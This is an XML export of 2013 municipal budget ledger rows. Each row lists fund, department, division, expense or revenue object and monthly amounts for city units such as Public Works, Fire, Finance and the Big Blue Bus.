<row _id="698"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>75200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75200.0</total></row>
<row _id="699"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1773.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1773.0</total></row>
<row _id="700"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1110422.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1110422.0</total></row>
<row _id="701"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="702"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2040.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2040.0</total></row>
<row _id="703"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="704"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>102000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102000.0</total></row>
<row _id="705"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>195500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>195500.0</total></row>
<row _id="706"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1050000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1050000.0</total></row>
<row _id="707"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>98910.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>98910.0</total></row>
<row _id="708"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-1099737.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1099737.0</total></row>
<row _id="709"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="710"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="711"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="712"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="713"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6200000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6200000.0</total></row>
<row _id="714"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="715"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="716"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544400.0</object><object_description>COMMUNITY ARTS GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="717"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7725.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7725.0</total></row>
<row _id="718"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4080.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4080.0</total></row>
<row _id="719"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="720"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>72128.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72128.0</total></row>
<row _id="721"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7889.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7889.0</total></row>
<row _id="722"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="723"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401430.0</object><object_description>CONN/CAP PERMIT FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-16000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-16000.0</total></row>
<row _id="724"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>402630.0</object><object_description>WASTEWATER MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="725"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9140.0</total></row>
<row _id="726"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15490.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15490.0</total></row>
<row _id="727"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="728"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="729"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>23000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23000.0</total></row>
<row _id="730"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="731"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="732"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="733"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>89719.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>89719.0</total></row>
<row _id="734"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>79.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>79.0</total></row>
<row _id="735"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>87000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>87000.0</total></row>
<row _id="736"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-79555.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-79555.0</total></row>
<row _id="737"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="738"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="739"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="740"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400220.0</object><object_description>MEMORIAL PARK GYM USER FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-21549.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-21549.0</total></row>
<row _id="741"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>1200</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="742"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>918</april><may>0</may><june>0.0</june><total>918.0</total></row>
<row _id="743"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>35</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3535.0</total></row>
<row _id="744"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522315.0</object><object_description>MULTIMEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13300.0</total></row>
